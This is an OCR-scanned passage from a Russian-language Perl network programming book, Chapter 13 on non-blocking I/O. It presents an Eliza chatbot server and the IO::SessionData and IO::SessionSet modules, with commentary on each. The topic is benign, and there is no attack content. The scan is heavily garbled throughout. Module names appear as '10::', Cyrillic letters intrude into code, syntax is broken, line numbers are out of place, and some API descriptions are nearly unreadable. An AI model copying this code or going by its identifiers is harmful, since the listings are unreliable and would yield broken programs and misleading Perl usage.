23
use strict;
use Chatbot::Eliza::Polite;
use IO::Socket;
use 10::LineBufferedSet;
my %SESSI0NS; # Хеш объектов Eliza, ключами которого
# являются дескрипторы сокетов
use constant PORT => 12000;
my $listen_socket = 10: .-Socket: :INET->new(LocalPort => PORT,
Listen => 20,
Proto => 'tcp'.
Reuse => 1);
die "Can't create a listening socket: $@" unless $listen_socket;
my $session set = 10::LineBufferedSet->new($listen_socket);
14: warn "Listening for connections...\n";
15: while (1) {
16: my @ready = $session_set->wait;
17: for my $session (Qready) {
my $eliza;
if ( !($eliza = $SESSIONS{$session}) ) { # Новый сеанс
$eliza = $SESSIONS{$session} = new Chatbot::Eliza::Polite;
$session->write($eliza->welcome);
next;
}
24: # Управление переходит в данную точку, если это
# - существующий сеанс
25: my $user_input;
26: ту $bytes = $session->getline($user_input);
27: if ($bytes > 0) {
28: chomp($user_input);
29: $session->write($eliza->one_line($user_input));
30: }
Глава 13. Неблокирующий ввод-вывод
383
31: $session->close if !$bytes || $eliza->done;
32: } # Конец цикла for my $handle (@ready)
33: }
Проведем анализ программы.
• Строки 1-14. Инициализация сценария. Начало сценария во многом аналогично другим
сценариям этого типа. Основное различие состоит в том, что импортируется модуль
Ю:: LineEuf f eredSet и создается новый набор сеансов с использованием этого класса.
• Строки 15-17. Главный цикл. Главный цикл начинается с вызова метода wait () набора
сеансов. Он возвращает список объектов sessionData, готовых для чтения. Некоторые из них
представляют объекты SessionData, которые уже встречались при предыдущих проходах по
циклу; другие же являются новыми сеансами, которые были созданы при вызове методом
wait () функции accept () для приема нового входящего соединения.
• Строки 18-23. Создание новых объектов chatbot. Для проведения различия между новыми
и старыми сеансами выполняется проверка хеша ^sessions.
Если это— новое входящее соединение, то запись для него в хеше %sessions отсутствует,
и в этом случае создается новый объект Chatbot::Eliza:: Polite, который и сохраняется в
хеше %sessions по индексу, представляющему собой объект SessionData. Вызывается метод
welcome () объекта Eliza для получения вступительного приветствия, которое передается
методу write () объекта SessionData и включается в очередь сообщений, передаваемых клиенту.
• Строки 24-30. Обслуживание старых сеансов. Если хеш %sessions указывает, что этот
сеанс уже встречался, то выполняется выборка соответствующего объекта Eliza.
Считывается строка ввода путем вызова метода getlineO модуля SessionData. Этот
метод действует аналогично методу io: :Getline->getiine(), разработанному ранее,
возвращая код результата, который указывает число считанных байтов, и помещая данные в свой
скалярный параметр.
Если число считанных байтов является положительным, зто значит, что получена полная
строка. Удаляются символы обозначения конца строки, ввод пользователя передается методу
one_line () объекта Eliza, а результат передается методу write () объекта сеанса.
• Строка 31. Закрытие завершенных сеансов. Если метод getline () возвращает ложное
значение, значит, клиент закрыл свой конец соединения. Вызывается метод close () текущего
объекта сеанса и сеанс удаляется из списка сеансов, контролируемых объектом
Ю:: LineEuf feredSet. To же действие выполняется, если пользователь прекратил сеанс,
введя "goodbye" или другое завершающее слово.
Как и метод 10::SessionData->read(), метод 10::LineBufferedSet-
>getline () возвращает 0 при обнаружении конца файла; значение 0Е0, если
операция чтения была бы заблокирована; и undef — при возникновении различных
аварийных ситуаций.
Обратите внимание, что после чтения никогда не выполняется явная проверка
кода результата 0Е0. Если метод getline () завершается неудачей, он возвращает
ложное значение (0 — в конце файла и undef— в случае ошибки). Ситуация, в
которой операция чтения "была бы заблокирована", рассматривается как возврат методом
истинного значения, который отличается от обычной операции чтения только тем,
что было считано 0 байтов. Проще всего в этом случае не выполнять никаких
действий и перейти к ожиданию следующих операций ввода-вывода с помощью метода
10::SessionSet->wait().
Аналогичным образом не проверяется код результата выполнения метода
write (), поскольку выполнение заблокированных попыток записи обеспечивает
в конечном итоге объект SessionData путем постановки данных в очередь во
внутреннем буфере и записи их байт за байтом каждый раз, когда сокет может их принять.
384
Часть III. Разработка систем TCPтипа клиент/сервер
При использовании метода 10: :SessionData->read() таким способом, как
показано в этих двух примерах, маловероятно, что он когда-либо вернет значение
ОБО. Это связано с тем, что в методе 10: :SessionSet->wait () применяется
функция select () для проверки того, что в любом возвращаемом им объекте
SessionData будет содержаться, по меньшей мере, один байт данных, который
может быть считан. Исключение из этого правила возникает, если объект
SessionData был только что создан в результате приема входящего соединения.
В этом случае вполне может сложиться ситуация, что будут отсутствовать данные,
которые можно было бы немедленно считать из этого объекта. Именно поэтому
при работе с новым сеансом попытка вызвать метод getline () не
предпринимается (строки 19-23).
Если бы был предусмотрен неоднократный вызов метода read () без
промежуточных вызовов метода 10: : SessionSet->wait (), то вполне могла возникнуть
ситуация, при которой операция чтения "была бы заблокирована". Поэтому рекомендуется
проверять, возвращено ли методом read () или getline () положительное число
байтов, прежде чем приступать к работе с возвращенными данными.
Модуль 10:: SessionData
Теперь, после знакомства с возможностями этих двух модулей, рассмотрим, как
они работают, начиная с модуля с 10: : Se s s ionData .
Модуль 10: : SessionData представляет собой оболочку для отдельного объекта
10:: Socket. Кроме сокета, он ведет внутренний буфер outbuffer, содержащий
данные, которые были поставлены в очередь для передачи, но еще не были переданы
через сокет. К другим внутренним переменным относится указатель на объект
SessionSet, который управляет текущим объектом SessionData, флажок,
предназначенный только для записи, и некоторые другие переменные, которые управляют
тем, что происходит при заполнении передающего буфера. Объект
Ю: : SessionData вызывает связанный с ним объект SessionSet, чтобы сообщить,
что он готов к приему новых данных из удаленного сокета или содержит исходящие
данные, предназначенные для передачи.
Поскольку исходящие данные буферизованы, существует опасность, что буфер
outbuffer переполнится, если другой участник соединения надолго прекратит
чтение данных. Во избежание этого в модуле 10:: SessionData определен метод
choke (), который вызывается каждый раз, когда объем данных, записанных в буфер
outbuffer, превышает его размеры и когда объем данных в этом буфере
возвращается к допустимым размерам.
Реализация метода choke (} зависит от приложения. В некоторых приложениях
он может предусматривать уничтожение лишних буферизованных данных, а в других
может разорвать соединение с удаленным хостом. Модуль 10: : SessionData
позволяет определить в приложении действия, выполняемые методом choke () путем
установки подпрограммы обратного вызова, вызываемой при заполнении буфера
В этих модулях применяется много объектно-ориентированных приемов и других общих схем языка Perl.
Если вам будет трудно разобраться в этом коде, то ознакомьтесь с реализацией клиента gabl.pl в главе 16
(листинг 16.1). Хотя в ней используется модуль Ю:: Poll, а не IO:: Select, в этом коде проблемы
неблокирующего ввода-вывода решаются с использованием той же методологии, но немного проще по сравнению с более
универсальными модулями, описанными здесь.
Глава 13. Неблокирующий ввод-вывод
385
outbuf f er. Если подпрограмма обратного вызова не установлена, то метод choke ()
по умолчанию отмечает данный сеанс так, чтобы он больше не принимал входящие
данные. Если этот выходной буфер снова будет иметь достаточно свободного места, то
сеансу снова будет разрешено принимать входящие данные. Этот способ приемлем для
многих серверных приложений, в которых сервер читает определенный объем данных
из объекта сеанса, обрабатывает их и записывает информацию в объект сеанса.
Модуль 10: :SessionData позволяет также создавать сеансы только для записи.
Это дает возможность включать в оболочку объекта 10: :SessionData такие
дескрипторы файлов, предназначенные только для записи, как STD0UT, и использовать их
в неблокирующем режиме. В конце данной главы приведен соответствующий пример
применения этого модуля.
И наконец, ниже описан общедоступный API-интерфейс модуля
10::SessionData.
Jbyteu * $eeu»ii,n->ri»aac$ecalar,$length[9effset])
Этст мвтод аналогичен функции sysreadO, за исключением того, что при возникновении
ошибок EH^ULJbLOG{< сн возаращэет значение ■ ЕЭ.
Sbytaa ~ 9e«seion-Xfrite(>»calar)
Этот метод аналогичен функции syswritc(), за исклкуеиием того. что при возникновении
ошибок eWouldplock он возвращает значение СЕЭ.
(bytes - 9-s%tslon->pendiog
Возвращает числе неотправленных байтов, которые ожидают обработки в буфере out» uff ^г.
(bytes - $ee»uion->write_lijnlt([»lijai.t])
Получает или устанавливает лимит записи, представляющий собой максимальное число
неотправленных брйтэп. которые могут быть поставлены в очередь в 6yQ/«pc outhuf ftr.
$cc<3eref — $seesion'>6et_choka([9coderef])
Получает или устанавливает ссылку на код. который должекСыть вызван лри превышении
лимита записи в буфере outiuffer. Этст код должен также, вызываться лосле возврата буфера
outbuffer к допустимому размеру.
J result • $«e«eien-X2lose()
Закрывает сеанс, запрещая последующее выполнение -отерации чтения. Дескриптор файла
фактически не закрываемся до тех лор. пока не будут переданы все выходные данные. Ожидающие обработки
8гЪ - $s«aeiiion->han<lle()
Возвращает основополагающий дескриптор файла
9»es»ion_»et - 9«e««ion->ees«i.on
:г ращэет - тствующий объокт 10:: esaJL*
Код модуля 10: : Se s s ionData приведен в листинге 13.5.
ЛИСТИНГ 13.5. КОД МОДУЛЯ IO: : SessionData.
0: package 10::SessionData;
use strict;
use Carp;
use 10::SessionSet;
use Errno 'EWOULDBLOCK'
use vars AVERSION";
$VERSI0N = 1.00;
386
Часть Ш. Разработка систем TCP типа клиент/сервер
use constant BUFSIZE => 3000;
Предусмотрен
8: # Метод класса: new()
9: # Создание нового объекта IO::SessionData.
# вызов данного метода из модуля
10: # IO:': SessionSet, а не непосредственный вызов
11: sub new {
12: my $pack = shift;
13: my ($sset,$handle,$writeonly) = @_;
14: # Установить для дескриптора неблокирующий режим
15: $handle->blocking(0) ;
16: my $self = bless {
17: outbuffer => '',
18: sset =>
19: handle =>
20: write_limit =>
21: writeonly
22: choker =>
23: choked =>
24: },$pack;
25: $self->readable(l) unless $writeonly;
26: return $self;
27: }
$sset,
$handle,
BUFSIZE,
=> $writeonly,
undef,
undef,
28: # Метод объекта: handle()
29: # Возвращает объект 10::Handle, соответствующий данному
# объекту 10::SessionData
30: sub handle { return shift->{handle} }
31: # Метод объекта: sessions()
32: # Возвращает объект 10::SessionSet, контролирующий данный
# объект
33: sub sessions { return shift->{sset} }
34: # Метод объекта: pending О
35: # Возвращает число байтов, оставшихся в выходном буфере
36: sub pending { return length shift->{outbuffer} }
37: # Метод объекта: write_limit([$bufsize])
38: # Получает или устанавливает предельный размер буфера
# записи.
39: # Буфер записи будет увеличиваться до этого размера,
# включая все записанные в него дополнительные данные
40: sub write_limit {
41: my $self = shift;
42: return defined $_[0] ? $self->{write_limit} - $_[0]
43: : $self->{write_limit};
44: }
45:
46
47
48
49
50
51
# Функция обратного вызова, которая будет вызываться,
# когда объем данных в буфере записи
# превысит установленный предел
sub set_choke {
my $self = shift;
return defined $_[0] ? $self->{choker} = $_[0]
: $self->{choker};
}
Глава 13. Неблокирующий ввод-вывод
387
52: # Метод объекта: write($scalar)
53: # $obj->write([$data]) - добавить данные к буферу и
# попытаться записать их в дескриптор
54: # Возвращает число записанных байтов или ОЕО (нулевое, но
# истинное значение), если данные поставлены в очередь,
# но не записаны.
55: # При обнаружении других ошибок возвращает значение undef
56: sub write {
57: my $self = shift;
58: return unless my $handle = $self->handle; # Это не
# дескриптор файла
59: return unless defined $self->{outbuffer}; # Буфер для
# данных, поставленных в очередь, не определен
60: $self->{outbuffer} .= $_[0] if defined $_[0];
61: my $rc;
62: if ($self->pending) { # В выходном буфере есть данные,
# предназначенные для записи
63: local $SIG{PIPE}=,IGNORE1;
64: $rc = syswrite($handle,$self->{outbuffer});
65: # Удалось выполнить запись, поэтому удалить из буфера
# записанные байты
66: if ($rc) {
67: substr($self->{outbuffer},0,$rc) = •■;
68: } elsif ($! == EWOULDBLOCK) { # Это - нормальная
# ситуация
69: $гс = ,0е0";
70: } else { # Какая-то ошибка записи, например PIPE
71: return $self->bail_out($!) ;
72: }
73: } else {
74: $rc = *0E0'; # Никакие действия не выполнены, но
# зто не ошибка
75: }
76: $self->adjust_state;
77: # Код возврата представляет собой число успешно
# переданных байтов
78: return $rc;
79: }
80: # Метод объекта: read($scalar,$length [,$offset])
81: # Полностью аналогичен sysreadO, но в случае успешного
# выполнения возвращает число считанных байтов,
82: # если операция чтения была бы заблокирована, возвращает
# значение ОЕО ("нулевое, но истинное"), а при
# обнаружении признака конца файла EOF и других ошибок
# возвращает значение undef
83: sub read {
84: my $self = shift;
85: return unless my $handle = $self->handle;
86: my $rc = sysread($handle, $_[0] ,$_[!],$_[2]|I 0);
87: return $rc if defined $rc;
88: return '0E0' if $! == EWOULDBLOCK;
89: return;
388
Часть III. Разработка систем TCP типа клиент/сервер
90:
}
91: # Метод объекта: close О
92: # Закрывает сеанс и удаляет его из контролируемого списка
93: sub close {
94: my $self = shift;
95: unless ($self->pending) {
96: $self->sessions->delete($self);
97: close($self->handle);
98: } else {
99: $self->readable(0);
100: $self->{closing}++; # Операция закрытия отложена
101: }
102: }
103: # Метод объекта: adjust_state()
104: # Вызывается периодически из метода write() для контроля
105: # состояния дескриптора в наборах 10::Select объекта
# 10::SessionSet
106: sub adjust_state {
107: my $self = shift;
108: # Обозначить дескриптор как доступный для записи, если
# есть данные в выходном буфере
109: $self->writable($self->pending > 0);
110: # Обозначить дескриптор как доступный для чтения, если
# нет лимита записи или объем свободного места
111: # в выходном буфере превышает лимит записи
112: $self->choke($self->write_limit <=
$self->pending) if $self->write_limit;
113: # Попытаться закрыть сеанс, если он отмечен как
114: # находящийся в состоянии закрытия
115: $self->close if $self->{closing};
116: }
117: # Метод choke вызывается, когда объем данных в буфере
118: # записи превышает предел. По умолчанию предусматривается
# запрещение дальнейшего чтения в сеансе
119: # до тех пор, пока ситуация не прояснится
120: sub choke {
121: my $self = shift;
122: my $do_choke = shift;
123: return if $self->{choked} = $do_choke; # Состояние не
# изменилось
124: if (ref $self->set_choke eq 'CODE') {
125: $self->set_choke->($self,$do_choke);
126: } else {
127: $self->readable(!$do_choke);
128: }
129: $self->{choked} = $do_choke;
130: }
131: # Метод объекта: readable($flag)
132: # Сообщает соответствующему объекту 10::SessionSet, что
# должно быть выполнено чтение из дескриптора файла
133: sub readable {
Глава 13. Неблокирующий ввод-вывод
389
134
135
136
137
138
my $self = shift;
my $is_active = shift;
return if $self->{writeonly};
$self->sessions->activate($self, 'read',$is_active);
}
139: # Метод объекта: writable($flag)
140: # Сообщает соответствующему объекту 10::SessionSet, что
# должна быть выполнена запись в дескриптор файла
sub writable {
my $self = shift;
my $is_active = shift;
$self->sessions->activate($self,'write',$is active);
141
142
143
144
145
}
146: # Метод объекта: bail_out([$errcode])
147: # Вызывается при обнаружении ошибки при записи (такой,
# как PIPE).
148: # По умолчанию предусматривает сброс всех буферизованных
149: # выходных данных и закрытие дескриптора
150: sub bail out {
151: my $self = shift;
152: my $errcode = shift; # Сохранить номер ошибки
153: delete $self->{outbuffer); # Уничтожить
# буферизованные данные
154: $self->close;
155: $! = $errcode; # Восстановить номер
# ошибки
156: return;
157: }
158: 1;
Проведем анализ программы.
Строки 1-7. Инициализация модуля. Выполнение модуля начинается с импорта константы
ewouldblock из модуля Errno и загрузки кода из модуля Ю: :SessionSet. Определяется
также применяемое по умолчанию значение константы для задания максимального размера
выходного буфера.
Строки 11-29. Метод new(). Метод new() создает новый объект Ю: :SessionData. Этот
метод предназначен не для непосредственного вызова, а для вызова из модуля
10::SessionSet.
Метод пей о принимает три параметра: объект io: :SessionSet, который им управляет,
объект io::Handle (обычно ю::Socket) и необязательный флажок, который указывает,
должен пи этот дескриптор рассматриваться как предназначенный только для записи.
Последнее средство предоставляет возможность управлять такими однонаправленными
дескрипторами файлов, как stdout.
Дескриптор переводится в неблокирующий режим путем вызова его метода blocking () с
параметром о, и в ссылке на хеш устанавливаются переменные состояния. Затем эта ссылка
включается в пространство имен с помощью функции bless (). В результате, ссылка
превращается в объект, который может быть вызван любым методом. При вызове методов
включенная ссылка возвращается в качестве первого параметра. В соответствии с общепринятым
соглашением методы сохраняют возвращенный объект в переменной $self.
Если дескриптор не отмечен как предназначенный только для записи, вызывается внутренний
метод readable () с истинным параметром для передачи соответствующему объекту
Ю: :SessionSet информации о том, что дескриптор готов для чтения. Объект возвращается
вызывающей процедуре.
390
Часть Ш. Разработка систем TCP типа клиент/сервер
• Строки 30-46. Методы handle (), sessions о, pending о и write_iimit о. Следующая
часть модуля состоит из методов, которые предоставляют доступ к внутреннему состоянию
объекте. Метод handle () возвращвет хранимый объект дескриптора файла; метод
sessions () — соответствующий объект Ю: :sessionset; метод pending О — число бвй-
тов, поставленных в очередь для звписи, и метод write_limit () получает или
устанавливает лимит звписи для буфере outbuf fer.
Код метода write_iimit () может поквзаться не совсем понятным, но твкова общая схема
Perl для получения или установки переменной состояния в объекте Perl. Если метод вызывв-
ется без пвраметров, он возвращвет значение переменной состояния write_limit. В ином
случае он использует переданный параметр для обновления значения переменной состояния
write_limit.
• Строки 47-51. Метод set_choke (). Метод set_choke () позволяет получить или установить
подпрогрвмму обратного вызова, которвя вызывается при превышении предельного размера
выходного буфера. Структуре этого методе аналогичнв методу write_limit ().
В качестве парвметрв ожидается получение ссылки на код, и в более тщательно
подготовленной реализации этого метода можно было предусмотреть проверку того, что это
действительно твк.
■ Строки 62-50. Метод write (), постановка данных в очередь. Теперь мы подошли к более
интересной части модуля. Метод write () отвечает зв отправку двнных через дескриптор.
Если чвсть или все двнные не могут быть отправлены немедленно, то они ставятся в очередь
в буфере outbuf fer для последующей отправки.
Метод write () может быть вызван с одним параметром, который содержит передвваемые
двнные, как в форме $session->write($data), или без пврвметров, как в форме
$session->write(). В последнем случае метод пытается отправить все двнные, которые
были постввлены в очередь после предыдущих попыток отпрввки.
Выполнение методв начинается с выборки объекта из стека подпрограммы и дополнительной
проверки того, что определены дескриптор файла и буфер outbuf fer. Если эта проверка
выполнена успешно и вызывающая процедура требует постввить в очередь для вывода
дополнительные данные, эти данные добввляются к буферу outbuf fer. Обретите внимание, что
outbuf fer может увеличиваться в размервх в соответствии с объемом данных,
передаваемых методу write о. Лимит записи вступает в силу только после того, квк объект
Ю:: sessionData будет отмечен как готовый для чтения или записи дополнительных данных.
• Строки 61-79. Метод write (), запись данных. В следующем рвзделе метода write о
предпринимается попытка выполнить ввод-вывод. Если в буфере outbuf fer нвходятся
двнные, ожидающие обрвботки, то вызыввется функция syswrite () с этим дескриптором и
содержимым буфера outbuf fer, и сохраняется код результата. Однако перед вызовом функции
syswrite () устанавливается локвльный обработчик сигналв $sig{pipe) со знвчением
ignore. Это исключает возможность проникновения в программу фвтального сигнала, если
дескриптор файла закрыт преждевременно. После выходв из этого метода обработчик pipe
автоматически возвращвется в предыдущее состояние так, чтобы этв корректировка не
нарушала работу пользовательского кода.
Если функция syswrite () возвращает определенный код результвтв, это значит, что она
успешно записала хотя бы чвсть бвйтов и код результата содержит число записанных байтов.
Вызыввется функция substr (), которая усекает буфер outbuf fer на число записанных
байтов. В результате буфер outbuf fer может стать пустым, если были записаны все байты, или
в нем может содержаться незвписанный оствток, если функция syswrite () сообщила о
частичной записи.
В противном случае кодом результата является значение undef, что уквзыввет на ту или иную
ошибку. Проверяется код ошибки, хрвнящийся в переменной $!, и предпринимвется
соответствующее действие.
Если код ошибки равен ewouldelock, to возвращается значение обо. В ином случае возникли
ошибки записи какого-то другого типв, вероятнее всего, ошибка pipe. При возникновении тв-
кой ситуации вызывается внутренний метод bail_out(). В текущей реализации метод
bail_out () просто звкрывает дескриптор и возвращвет значение undef. Для реализвции
более сложных правил поведения (например, для регистрвции или выполнения различных
действий в зависимости от ошибки) можно создать подкласс класса ю::SessionData и
перекрыть метод bai l_out ().
Глава 13. Неблокирующий ввод-вывод
391
Если вызов метода произошел, когда буфер outbuf f er пуст и нет данных, предназначенных
для постановки в очередь, просто возвращается значение ОЕО. Такая ситуация возникает
очень редко.
И наконец, перед выходом вызыввется внутренний метод adjust state(). Он
синхронизирует объект Ю: :sessionData с объектом Ю: :SessionSet, который им управляет. Работа
метода завершается путем возврвта кода результата.
■ Строки 80-90. Метод read (). Объем кода метода read () невелик по срввнению с
предыдущим методом. Этот метод имеет такой же синтвксис, как и встроенные функции read о
и sysreado языка Perl. В действительности он представляет собой простую оболочку для
функции sysreado, которая перехватывает код результата и возвращвет значение ОЕО при
возникновении ошибки ewouldblock.
Единственнвя сложность состоит в том, что применяется ссылка непосредственно нв
элементы списка параметров подпрограммы (в форме $_[0], $_[1] и т.д.), а не их копирование в
локальные переменные.
Это позволяет передавать соответствующие знвчения непосредственно функции sysreado,
чтобы онв могла модифицировать буфер данных вызывающей процедуры на месте.
• Строки 91-102. Метод close (). Метод close () отвечает за закрытие дескриптора файла
и выполнение очистки. Здесь применяется небольшая хитрость, поскольку в выходном буфере
записи могут оствваться данные, ждущие обработки; в этом случае нельзя немедленно
закрыть дескриптор файла, можно только его отметить, чтобы закрыть окончательно после
записи есех ожидающих данных.
Вызывается метод pending () для определения того, есть ли еще двнные в буфере записи.
Если их нет, то дескриптор файла немедленно закрывается и выдается предупреждающее
сообщение объекту ю: :Sesslonset, управляющему этим сеансом, чтобы он удалил объект
сеанса из списка. В ином случае этот сеанс отмечается как не допусквющий дальнейшего
выполнения операции чтения путем вызова метода readable () с ложным параметром
(дополнительная информация о методе readable () будет приведенв ниже) и уствнввливает-
ся флажок отложенного закрытия с именем closing.
• Строки 103-116. Метод adjust_state(). Следующий метод. adjust_state(),
предоставляет объекту сеанса способ взаимодействия с соответствующим ему объектом
10: :SessionSet.
Выполнение метода начинается с вызова двух внутренних методов writable ()
и readable о, которые выдвют объекту Ю: :sessionSet предупреждающие сообщения
о том, что объвкт сеанса, соответственно, готов для записи и чтения данных. Первый
этап состоит в проверке выходного буфере путем вызова метода pending (). Если е нем
есть данные, вызывается метод writable () с истинным флажком для указания того, что
есть данные для записи.
Второй этап заключается в вызове метода choke (), если было определено ненулевое
значение лимита записи write limit. Методу choke () передается истинный флажок, если
превышен лимит буфера записи. По умолчанию действие метода choke () состоит в запрещении
дальнейшего чтения путем установки ложного значения в методе readable ().
И наконец, если установлен флажок dosing, то предпринимается попытка звкрыть сеанс
путем вызова метода close (). Это может действительно привести к звкрытию сеанса или
просто к отложенному закрытию, если есть исходящие двнные. ожидающие обработки.
■ Строки 117-130. Метод choke(). Следующим методом является choke о, который
вызывается, если объем двнных в выходном буфере превышвет лимит данных или меньше
этого лимита.
Выполнение метода начинается с поиска ссылки на код обратного вызова. Если этв ссылка
определена, вызывается код и ему передается ссылка на текущий объект sessionData,
в также флажок, указывающий, должен ли быть севнс поставлен под контроль или выпущен
из-под контроля с помощью методе choke ().
Если подпрограмма обратного вызова не определена, то просто вызывается метод
readable () севнса с ложным флажком для отмены дальнейшего ввода в этом севнсе, пока
буфер звписи снова не будет иметь достаточный объем свободного меств.
■ Строки 131-145. Методы readable () и writable (). Следующими двумя методами
являются readable!) и writable!). Они представляют собой внешний интерфейс к методу
392 Часть III. Разработка систем TCP типа клиент/сервер
activate!) объекта Ю: :Sessionset. Как будет показвно в следующем разделе, первым
парвметром методе activate О является текущий объект Ю: :SessionData, вторым —
строка "read" или "write", а третьим — флажок, указывающий, должен ли быть заданный тип
ввода-вывода вктивизирован или переведен в неактивное состояние.
Однако если севнс отмечен как предназначенный только для записи, то метод readable () не
пытается его активизировать.
• Строки 146-157. Метод baii_out(). Последним методом в этом модуле является
bailout (), который вызыввется при возникновении ошибок записи. В данной реализации
метод baii_out () удаляет все буферизоввнные исходящие данные и закрыввет сеанс.
Причина удаления необработанных данных состоит в том, что нужно немедленно выполнить зв-
крьгтие, а не ждать неопределенно долго возможности выполнить запись, которая теперь, как
известно, вполне может закончиться аварийно.
Метод bail_out () получает копию кодв ошибки, которая возникла во время операции записи,
завершившейся неудвчей. В текущей реализации данного метода этот код ошибки
игнорируется, но может потребоваться при создании подкласса класса Ю: :SessionData.
Это— очень большой объем кода! Но мы еще не закончили работу. Модуль
10: :SessionData составляет только часть картины. Другую часть образует модуль
10: : SessionSet, который управляет набором неблокирующих сеансов.
Модуль IO::SessionSet
Модуль IO::SessionSet отвечает за управление набором объектов
10: :SessionData. Он вызывает метод select () для сеансов, готовых к вводу-
выводу, и функцию accept () от имени приемных сокетов; кроме того, он
обеспечивает вызов метода write () для каждого сеанса, в котором присутствуют выходные
данные, ждущие обработки.
Ниже описан API-интерфейс модуля 10: : SessionSet, который является
довольно несложным.
| $set = IO::SessionSet->neH([$iisten])
Создается новый, объект Ю: :Sc-ssicnSet. Если в параметре Slisttn представлен приемни"
сскет, то модуль автоматически принимает сходящие соединения
$вввsion - $s6t->a^($handln[v9Mriteanly.])
Добавляет дескриптор файла к списку дескрипторов, контролируемых объектом SessionSet.
Если необязательный флажгме Swrit^oniy -имеет истинное значение, то этот
дескрипторпредназначен только для чтения. Эта опция применима, к доскриптору STD0UT и к другим дескриптором
файлог, предназначенных только аля вывода. Метод аг11()заклсчает дескриптор файла в э^стюч-
ку объектаЮ;: SessiOnDit э и возвращает этот объект как результат своего выполнения.
(eet-Xlelete ($handl«)
Удаляет дескриптор файла или объект 1С: :SessionDAt» из контролируемого набора.
Sees«ions - $«et->trait([S timeout])
Выполняет метод select <) на наборе контролируемых дескрипторов файлов и вгззрэщает
соответствующие объекты сеансов, готовые для чтения Если дескрипторы содержат уходящие
запросы сшриемнам сежете, пни обслуживаются автоматически как и запросы на запись, поставленные
в очередь Если эалЬн параметр Stimbout. тс метод w-iit () возвращает пустой список яри условии,
что тайм-аут, заданный этим параметром, истекает до появления дескрипторов, готовых для чтения
GseHsinns - $eet->sessions(>
Всзе>а чет все объекты l'>: :SessionLata, гтгггые^ыли зэ^ 'истри»овчны в этом на><<-.
Код модуля 10: :SessionSet приведен в листинге 13.6.
Глава 13. Неблокирующий ввод-вывод
393
ЛИСТИНГ 13.6. МОДУЛЬ IO: :SessionSet
package IO::SessionSet;
use strict;
use Carp;
use IO::Select;
use IO::Handle;
use IO::SessionData;
6: use vars '$DEBUG';
7: $DEBUG = 0;
# Метод класса new()
# Создать новый набор Session.
# При получении приемного сокета использовать его для
# автоматического приема новых объектов IO::SessionData
sub new {
my $pack = shift;
my $listen = shift;
my $self = bless {
sessions => {},
readers => IO::Select->new(),
writers => IO::Select->new(),
},$pack;
# Если сокет инициализирован с использованием объекта
# 10::Handle (или подкласса),
# то он рассматривается как приемный
if ( defined($listen) and $listen->can('accept *) ) {
$self->{listen_socket} = $listen;
$self->{readers}->add($listen);
}
return $self;
}
# Метод объекта: sessions()
# Возвращает список всех сеансов, находящихся в настоящее
# время в наборе
sub sessions { return values %{shift->{sessions}} };
#■ Метод объекта: add()
# Добавляет дескриптор к набору сеансов. Автоматически
# создает оболочку 10::SessionData для дескриптора
sub add {
my $self = shift;
my ($handle,$writeonly) = @_;
warn "Adding a new session for $handle.\n" if $DEBUG;
return $self->{sessions){$handle} =
$self->SessionDataClass->new($self,$handle,$writeonly);
}
# Метод объекта: delete()
# Удаляет сеанс из набора. Позволяет передавать
# дескриптор или соответствующую оболочку 10::SessionData
sub delete {
my $self = shift;
394 Часть Ш. Разработка систем TCP типа клиент/сервер
45: my $thing = shift;
46: my $handle = $self->to_handle($thing);
47: my $sess = $self->to_session($thing);
48: warn "Deleting session $sess handle $handle.\n" if $DEBUG;
49: delete $self->{sessions}{$handle};
50: $self->{readers}->remove($handle);
51: $self->{writers)->remove($handle);
52: }
53: # Метод объекта: to_handle()
54: # Возвращает дескриптор после получения дескриптора или
# объекта IO::SessionData
55: sub to_handle {
56: my $self = shift;
57: my $thing = shift;
58: return $thing->handle if $thing->isa(40::SessionData');
59: return $thing if defined (fileno $thing);
60: return; # Неопределенное значение
61: }
62: # Метод объекта: to_session
63: # Возвращает 10::SessionData после получения дескриптора
# или самого объекта
64: sub to_session {
65: my $self = shift;
66: my $thing = shift;
67: return $thing if $thing->isa('10::SessionData');
68: return $self->{sessions}{$thing} if defined (fileno $thing);
69: return; # Неопределенное значение
70: }
71: # Метод объекта: activate()
72: # Вызывается с параметрами
# ($session,'read'|'write' [,$activate])
73: # При вызове без параметра $activate возвращает истинное
# значение, если указанный дескриптор файла
74:' # находится в наборе 10::Select для чтения или записи.
75: # В качестве первого параметра может использоваться
# объект сеанса или дескриптор
76: sub activate {
77: my $self = shift;
78: my ($thing,$rw,$act) = @_;
79: croak 'Usage $obj->activate
($session,"read"|"write" [,$activate])'
80: unless @_ >= 2;
81: my $handle = $self->to_handle($thing);
82: my $select — lc($rw) eq 'read* ? 'readers' : 'writers';
83: my $prior = defined $self->{$select}->exists($handle);
84: if (defined $act && $act != $prior) {
85: $self->{$select}->add($handle) if $act;
86: $self->{$select}->remove($handle) unless $act;
87: warn $act ? 'Activating' : 'Inactivating',
88: " handle $handle for ",
89: $rw eq 'read' ? 'reading':'writing', "An" if $DEBUG;
90: )
91: return $prior;
92: }
Глава 13. Неблокирующий ввод-вывод
395
93: # Метод объекта: wait()
94: # Ожидает выполнения операции ввода-вывода. Выполняет
# запись автоматически. Возвращает список объектов
95: # IO::SessionData, готовых для чтения.
96: # Если есть приемный сокет, для него автоматически
# выполняется функция accept() и возвращается
# соответствующий ему новый объект IO::SessionData
sub wait {
my $self = shift;
my $timeout = shift;
# Вызов метода select() для получения списка сеансов,
# готовых для чтения-записи
croak "IO::Select->select() returned error: $!"
unless my ($read,$write) =
10::Select->select($self->{readers},
$self->{writers},undef,$timeout) ;
# Автоматическое выполнение запросов на запись,
# поставленных в очередь
foreach (@$write) {
my $session = $self->to_session($_);
warn "Writing pending data
(",$session->pending+0," bytes) for $_.\n" if $DEBUG;
my $rc = $session->write;
}
# Возвратить список сеансов, готовых для чтения.
# Если одним из готовых дескрипторов является приемный
# сокет, создать новый сеанс.
# В ином случае вернуть список готовых дескрипторов в
# виде списка объектов IO::SessionData
my Qsessions;
foreach (@$read) {
if ($_ eq $self->{listen_socket}) {
my $newhandle = $_->accept;
warn "Accepting a new handle $newhandle.\n" if $DEBUG;
my $newsess = $self->add($newhandle) if $newhandle;
push @sessions,$newsess;
} else {
push @sessions,$self->to_session($_);
}
}
return Gsessions;
}
# Метод класса: SessionDataClass
# Возвращает строку, содержащую имя класса оболочки
# данных сеанса. Создать подкласс и перекрыть для
# использования другого класса данных сеанса
sub SessionDataClass { return ЧО::SessionData'; }
133: 1;
396
Часть III. Разработка систем TCP типа клиент/сервер
Проведем анализ программы.
• Строки 1-7. Инициализация модуля. Выполнение кода модуля начинается с загрузки всех
